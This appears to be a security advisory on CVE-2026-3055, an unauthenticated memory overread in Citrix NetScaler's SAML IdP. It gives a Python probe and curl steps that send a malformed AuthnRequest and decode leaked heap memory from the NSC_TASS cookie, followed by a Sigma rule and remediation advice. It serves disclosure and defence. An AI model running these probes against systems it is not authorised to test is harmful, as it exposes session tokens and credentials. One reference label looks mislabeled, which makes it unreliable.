CVE-2026-3055: Citrix NetScaler Out-of-Bounds Read via SAML IdP Memory Overread
1. Executive Summary
CVE-2026-3055 represents a critical security vulnerability in Citrix NetScaler ADC (formerly Citrix ADC), NetScaler Gateway, and associated FIPS/NDcPP variants. This vulnerability constitutes an unauthenticated out-of-bounds read (CWE-125) triggered when the appliance is configured as a SAML Identity Provider (IdP).
By sending a malformed SAML AuthnRequest lacking specific assertion consumer attributes, an attacker can cause the NetScaler backend to read adjacent heap memory. This overread data is inadvertently propagated into the NSC_TASS session cookie, enabling remote information disclosure.
Key Intelligence:
- CWE: CWE-125 (Out-of-bounds Read).
- Attack Vector: Remote Unauthenticated (RUA) via HTTP/HTTPS to
/saml/login. - Configuration Required: NetScaler must be configured as a SAML IdP.
- Impact: Memory leak. Potentially exposes heap/stack contents, including session tokens, cryptographic keys, internal pointers, or sensitive application data.
- Risk Assessment: Marked as KEV (Known Exploited Vulnerability) with a Risk Score of 100. Immediate action is required.
- Vendor Guidance: Apply mitigations per vendor instructions, follow BOD 22-01 guidance for cloud services, or discontinue use if mitigations are unavailable.
Note on CVSS: At the time of publication, the CVSS vector and score have not been publicly assigned. However, given the KEV status and the ability to perform remote unauthenticated memory disclosure, the operational risk is assessed as Critical.
2. Technical Deep Dive
2.1 Vulnerability Root Cause
The vulnerability resides in the C/C++ backend handling SAML protocol parsing within the NetScaler appliance. Specifically, the flaw is a missing bounds check (CWE-125) during the resolution of destination endpoints in the SAML IdP workflow.
When the NetScaler SAML module processes an AuthnRequest, it attempts to determine the target endpoint for the response. If the AuthnRequest omits the AssertionConsumerServiceURL and AssertionConsumerServiceIndex attributes, the parser attempts to resolve a fallback destination. Due to the missing bounds check, instead of failing gracefully or returning a protocol error, the parser reads bytes from adjacent memory buffers on the heap.
2.2 Attack Flow
- Trigger: The attacker crafts a minimal SAML 2.0
AuthnRequestXML. Crucially, theAssertionConsumerServiceURLandAssertionConsumerServiceIndexattributes are absent. - Transmission: The XML is base64-encoded and submitted via
POST /saml/loginas theSAMLRequestparameter. - Processing: The NetScaler parses the request. The missing ACS attributes trigger the fallback logic.
- Memory Overread: The backend reads past the allocated buffer boundary, capturing adjacent heap data.
- Leakage: The overread bytes are written into the
NSC_TASS(NetScaler Application Server Session) session cookie. - Exfiltration: The server responds with
HTTP 200/302containingSet-Cookie: NSC_TASS=<base64_leaked_memory>. The attacker decodes this cookie to inspect the leaked memory.
2.3 Impact Analysis
While an out-of-bounds read is traditionally lower severity than a write primitive, in the context of a high-value appliance like NetScaler:
- Heap Layout Mapping: Leaking adjacent memory can reveal heap structure pointers, enabling heap Feng Shui or further exploitation.
- Credential Theft: The heap may contain cached credentials, session tokens, or internal state data.
- Side-Channel Information: The
NSC_TASScookie is normally used for application server affinity or session tracking. Hijacking this vector to leak data bypasses standard access controls for SAML endpoints.
3. PoC Analysis
A Python-based detection script has been released that demonstrates the vulnerability mechanics. The PoC automates the construction of the malformed payload, sends it to the target, and analyzes the response to determine patch status and extract leaked memory.
PoC Repository: https://github.com/l0lsec/check-cve-2026-3055-netscaler
Author: l0lsec
Description: Low-impact probe for Citrix NetScaler CVE-2026-3055 (SAML IdP memory overread)
3.1 Code Analysis
The script performs a pre-flight check to confirm SAML IdP exposure, constructs the payload, and inspects the response headers for the NSC_TASS cookie.
Key Logic in check_cve_2026-3055.py:
- Payload Construction: Generates a minimal
AuthnRequestwithout ACS attributes. - Pre-flight: Checks
/metadata/samlidp/forEntityDescriptor. - Response Parsing: Extracts
NSC_TASSfrom cookies, decodes the base64 value, and provides a hex dump for manual analysis.
#!/usr/bin/env python3
"""
CVE-2026-3055 -- Citrix NetScaler SAML IdP Memory Overread Detection
Sends a minimal SAMLRequest (missing AssertionConsumerServiceURL) to /saml/login
and checks the response to determine patch status:
- NSC_TASS cookie returned --> POTENTIALLY VULNERABLE
- "Parsing of presented Assertion failed" in body --> PATCHED
- Connection error / no SAML endpoint --> NOT APPLICABLE
Reference: https://labs.watchtowr.com/the-sequels-are-never-as-good-but-were-still-in-pain-citrix-netscaler-cve-2026-3055-memory-overread/
"""
import argparse
import base64
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGETS: list[str] = []
SAML_REQUEST_XML = (
'<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" \r\n'
'xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" \r\n'
'ID="_1"\r\n'
'Version="2.0" ProviderName="my provider" \r\n'
'Destination="http://watchtowr/saml.php" \r\n'
'ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" \r\n'
'>\r\n'
' <saml:Issuer>http://watchtowr/saml.php</saml:Issuer>\r\n'
'</samlp:AuthnRequest>'
)
SAML_LOGIN_PATH = "/saml/login"
METADATA_PATH = "/metadata/samlidp/"
PATCHED_MARKER = "Parsing of presented Assertion failed"
COOKIE_NAME = "NSC_TASS"
def build_saml_payload() -> str:
return base64.b64encode(SAML_REQUEST_XML.encode()).decode()
def check_saml_metadata(base_url: str, timeout: int) -> dict:
"""Pre-flight: see if the SAML IdP metadata endpoint responds."""
url = f"{base_url.rstrip('/')}{METADATA_PATH}"
try:
resp = requests.get(url, timeout=timeout, verify=False, allow_redirects=True)
has_xml = "EntityDescriptor" in resp.text or "IDPSSODescriptor" in resp.text
return {"reachable": True, "status": resp.status_code, "saml_idp": has_xml}
except requests.ConnectionError:
return {"reachable": False, "status": None, "saml_idp": False}
except requests.Timeout:
return {"reachable": False, "status": None, "saml_idp": False}
except requests.RequestException as exc:
return {"reachable": False, "status": None, "saml_idp": False, "error": str(exc)}
def check_cve(base_url: str, timeout: int) -> dict:
"""Send the detection payload and interpret the response."""
url = f"{base_url.rstrip('/')}{SAML_LOGIN_PATH}"
payload = build_saml_payload()
try:
resp = requests.post(
url,
data={"SAMLRequest": payload},
timeout=timeout,
verify=False,
allow_redirects=False,
)
except requests.ConnectionError:
return {"status": "UNREACHABLE", "detail": "Connection refused or timed out"}
except requests.Timeout:
return {"status": "UNREACHABLE", "detail": "Request timed out"}
except requests.RequestException as exc:
return {"status": "ERROR", "detail": str(exc)}
result = {
"http_status": resp.status_code,
"headers": dict(resp.headers),
}
nsc_tass = resp.cookies.get(COOKIE_NAME)
if nsc_tass is None:
for cookie in resp.cookies:
if cookie.name == COOKIE_NAME:
nsc_tass = cookie.value
break
if nsc_tass is None:
set_cookie = resp.headers.get("Set-Cookie", "")
if COOKIE_NAME in set_cookie:
for part in set_cookie.split(";"):
part = part.strip()
if part.startswith(f"{COOKIE_NAME}="):
nsc_tass = part.split("=", 1)[1]
break
if nsc_tass:
result["status"] = "POTENTIALLY VULNERABLE"
result["detail"] = f"Server returned {COOKIE_NAME} cookie (HTTP {resp.status_code})"
result["nsc_tass_raw"] = nsc_tass
try:
decoded = base64.b64decode(nsc_tass)
result["nsc_tass_decoded_hex"] = decoded.hex()
result["nsc_tass_decoded_text"] = decoded.decode("ascii", errors="replace")
except Exception:
result["nsc_tass_decoded_hex"] = "DECODE_ERROR"
else:
if PATCHED_MARKER in resp.text:
result["status"] = "PATCHED"
result["detail"] = "Server returned patched error message."
else:
result["status"] = "NOT APPLICABLE"
result["detail"] = "No NSC_TASS cookie and no patched marker found."
return result
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Check Citrix NetScaler CVE-2026-3055")
parser.add_argument("--target", help="Target URL (e.g., https://netscaler.example.com)", required=True)
parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds")
args = parser.parse_args()
metadata = check_saml_metadata(args.target, args.timeout)
if not metadata.get("saml_idp", False):
print("[!] Target does not appear to be configured as a SAML IdP.")
exit(1)
print(f"[*] Checking {args.target} for CVE-2026-3055...")
result = check_cve(args.target, args.timeout)
if result["status"] == "POTENTIALLY VULNERABLE":
print(f"[+] VULNERABILITY DETECTED: {result['detail']}")
if "nsc_tass_decoded_hex" in result:
print(f"[*] Leaked Memory Hex (First 256 bytes):")
print(result["nsc_tass_decoded_hex"][:512])
print(f"[*] Leaked Memory Text:")
print(result["nsc_tass_decoded_text"][:256])
elif result["status"] == "PATCHED":
print("[+] Target appears patched.")
elif result["status"] == "NOT APPLICABLE":
print("[*] Target not affected or not a SAML IdP.")
else:
print(f"[-] Status: {result['status']} - {result.get('detail', '')}")
3.2 Detection Criteria
- Vulnerable State: Response contains
NSC_TASScookie with a valid base64 value. - Patched State: Response body contains
Parsing of presented Assertion failed. - Not Applicable: No SAML IdP configuration or connection error.
4. Exploitation Walkthrough
โ No Runnable Lab
Critical Notice: This CVE targets proprietary firmware running on Citrix NetScaler appliances (ADC/Gateway/FIPS). There is no public Docker image, Vulhub service, or emulator available for this vulnerability.
To reproduce CVE-2026-3055, you must have access to a vulnerable NetScaler version. Attempting to run unverified PoCs against production systems is strongly discouraged. Security teams should validate mitigation status using the provided detection logic or WAF signatures rather than active exploitation.
4.1 Manual Detection via Curl
Analysts can verify the vulnerability without downloading external scripts using standard tools.
Step 1: Base64 Encode the Payload
Create the minimal SAML request:
<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_1" Version="2.0" ProviderName="my provider"
Destination="http://example/saml.php"
ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST">
<saml:Issuer>http://example/saml.php</saml:Issuer>
</samlp:AuthnRequest>
Encode it (Linux/macOS):
SAML_REQ=$(echo '<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_1" Version="2.0" ProviderName="my provider" Destination="http://example/saml.php" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"><saml:Issuer>http://example/saml.php</saml:Issuer></samlp:AuthnRequest>' | base64 -w 0)
echo "$SAML_REQ"
Step 2: Send Request
curl -k -v -X POST "https://netscaler.corp/saml/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "SAMLRequest=${SAML_REQ}" \
-c cookies.txt
Step 3: Analyze Response
Inspect cookies.txt for the NSC_TASS entry:
cat cookies.txt | grep NSC_TASS
If present, extract the value, decode, and analyze:
# Extract value (replace with actual value)
TASS_VAL="SGVsbG8gV29ybGQ..."
echo "$TASS_VAL" | base64 -d | xxd
5. Detection & Monitoring
5.1 WAF / NIDS Signatures
Security engineers should implement the following detection logic in their WAF, SIEM, or NIDS.
Pattern 1: SAML Login with Missing ACS
Monitor for POST requests to /saml/login containing a base64-encoded SAMLRequest where the decoded XML lacks AssertionConsumerServiceURL or AssertionConsumerServiceIndex.
Pattern 2: Response Anomaly
Monitor for NSC_TASS cookies appearing in responses to SAML login requests, particularly when accompanied by HTTP 200/302 status codes.
Example Sigma Rule (Conceptual):
title: Citrix NetScaler CVE-2026-3055 SAML Login Probe
id: cve-2026-3055-saml-probe
status: experimental
description: Detects potential exploitation of CVE-2026-3055 via SAML login requests missing ACS attributes.
author: iLoveThreats
date: 2026/04/20
logsource:
category: web_proxy
product: netscaler
detection:
selection:
http.uri|endswith: '/saml/login'
http.method: 'POST'
http.content_type|contains: 'application/x-www-form-urlencoded'
http.body|contains: 'SAMLRequest='
condition: selection
falsepositives:
- Legitimate misconfigured SAML SPs (unlikely)
level: high
tags:
- attack.initial_access
- cve.cve-2026-3055
- citrix.netscaler
5.2 Nuclei Template Strategy
For vulnerability scanning pipelines, a Nuclei template should target the SAML endpoint and check for the specific cookie response behavior.
6. Remediation Guidance
6.1 Immediate Actions
- Check Vendor Advisory: Consult the official Citrix Security Advisory for CVE-2026-3055 to determine affected versions and patch availability.
- Apply Patches: Deploy the latest firmware version recommended by Citrix. Ensure all NetScaler ADC, Gateway, and FIPS appliances are updated.
- Network Restrictions: If patching is delayed, restrict access to
/saml/loginand/metadata/samlidp/to known IP ranges via WAF rules or ACLs. Ensure these endpoints are not exposed to the public internet unless absolutely necessary. - Disable SAML IdP: If the NetScaler is not required to function as a SAML Identity Provider, disable the feature to eliminate the attack surface.
6.2 Workarounds
- WAF Blocking: Configure the WAF to block POST requests to
/saml/logincontaining SAMLRequest parameters that lack ACS attributes. Note that this may impact legitimate IdP configurations relying on default behavior; testing is essential. - Monitor NSC_TASS: Alert on unusual values in the
NSC_TASScookie, particularly if the cookie size increases significantly or contains binary-like data.
6.3 Compliance
- BOD 22-01: For organizations using NetScaler in cloud services, follow the BOD 22-01 guidance regarding cloud service provider vulnerabilities.
- KEV Compliance: As this is a KEV, ensure mitigation is tracked in your vulnerability management program. Failure to address KEVs may result in compliance gaps depending on your regulatory framework.
7. References
- CVE Details: NVD - CVE-2026-3055
- Vendor Advisory: Citrix Security Advisory
- CWE: CWE-125: Out-of-bounds Read
- PoC Repository: l0lsec/check-cve-2026-3055-netscaler
- Analysis Blog: Watchtowr - The Sequels Are Never As Good...
- BOD 22-01: CISA Building Zero Trust Strategy